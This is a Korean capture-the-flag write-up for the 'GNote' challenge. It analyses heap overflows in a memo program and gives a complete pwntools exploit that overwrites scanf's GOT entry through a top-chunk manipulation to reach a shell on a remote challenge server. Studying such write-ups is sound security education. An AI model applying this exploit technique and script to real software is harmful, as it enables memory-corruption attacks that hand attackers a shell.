hOwDayS 선린 10720
CyberGuardians 3nd GNote 본문
소개
뭐랄까 재미있는 문제이다
보호 기법
RELRO | Partial RELRO |
Stack Canary | Canary Found |
NX | NX Enabled |
PIE | NO |
분석
main
1. memo add
2. memo edit
3. memo delete
add
memo의 사이즈는 32 이며 malloc으로 할당한다
A , B , C가 모두 되어있으면
어떤 루틴을 실행한다.
참고적으로 heap 주소랑 스택주소 알려주는데 난 안 써먹었다.
Vuln : Scanf("%s")로 입력 받기 때문에 힙 오버플로우가 일어난다.
edit
메모 인덱스 받아서 있는지 체크한다음에 입력을 받는다
Vuln : gets로 입력받기 때문에 힙 오버플로우
delete
여기서 이 문제가 재미있다고 느꼈다.
delete에서는 free를 시키는게 아닌
힙(메모) 인자를 받아 처리 해준다.
*** 이 루틴이 중요하다 ***
Leak
Leak 필요 없다
Exploit
메모를 만들때 힙 오버플로우를 이용해 Top chunk사이즈를 잘 맞춰주고
Top chunk헤더 밑에 내용을 작성하게 되면
다음 메모는 자동적으로 우리가 입력한 내용을 갖게 된다.
*** 내용은 익스플로잇 코드 참고 ***
그리고 마지막에 할당한 메모를 delete를 시켜주게 되면
delete 루틴에 의해 A에 scanf@got 주소가 들어가게 된다.
edit에서 첫번째 메모에 bonus 주소를 입력하면 scanf@got이 bonus주소로 덮이면서
쉘을 따게 된다
떡하니 있다
Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | from pwn import * p = remote("13.124.244.98",7777) #p = process("./GNote") e = ELF("./GNote") shell = 0x804867b A = 0x804B084 def add_memo(idx,content): p.sendlineafter(">","1") p.recvuntil("stack address : ") s_addr = int(p.recv(10),16) p.sendlineafter("(1-3) : ",str(idx)) p.recvuntil("heap address : ") h_chunk_addr = int(p.recv(9),16) p.sendlineafter("Input : ",content) return s_addr,h_chunk_addr def edit_memo(idx,content): p.sendlineafter(">","3") p.sendlineafter("(1-3) : ",str(idx)) p.sendlineafter("Input : ",content) add_memo(1,"AAAA"* 3 + p32(0xfa1) + p32(A-4) + p32(e.got["__isoc99_scanf"]-8)) add_memo(2,"BBB") p.sendlineafter(">","2") p.sendlineafter("(1-3) : ",str(2)) edit_memo(1,p32(shell)) p.interactive() | cs |
'CTF' 카테고리의 다른 글
CyberGuardians 3nd Auto_R0P (0) | 2018.09.02 |
---|---|
CyberGuardians 3nd CGhigh (0) | 2018.09.02 |
RCTF Rnote1 (0) | 2018.08.20 |
yisf 2018 예선 writeup (0) | 2018.08.16 |
h3xor ctf my_house (1) | 2018.06.17 |
Comments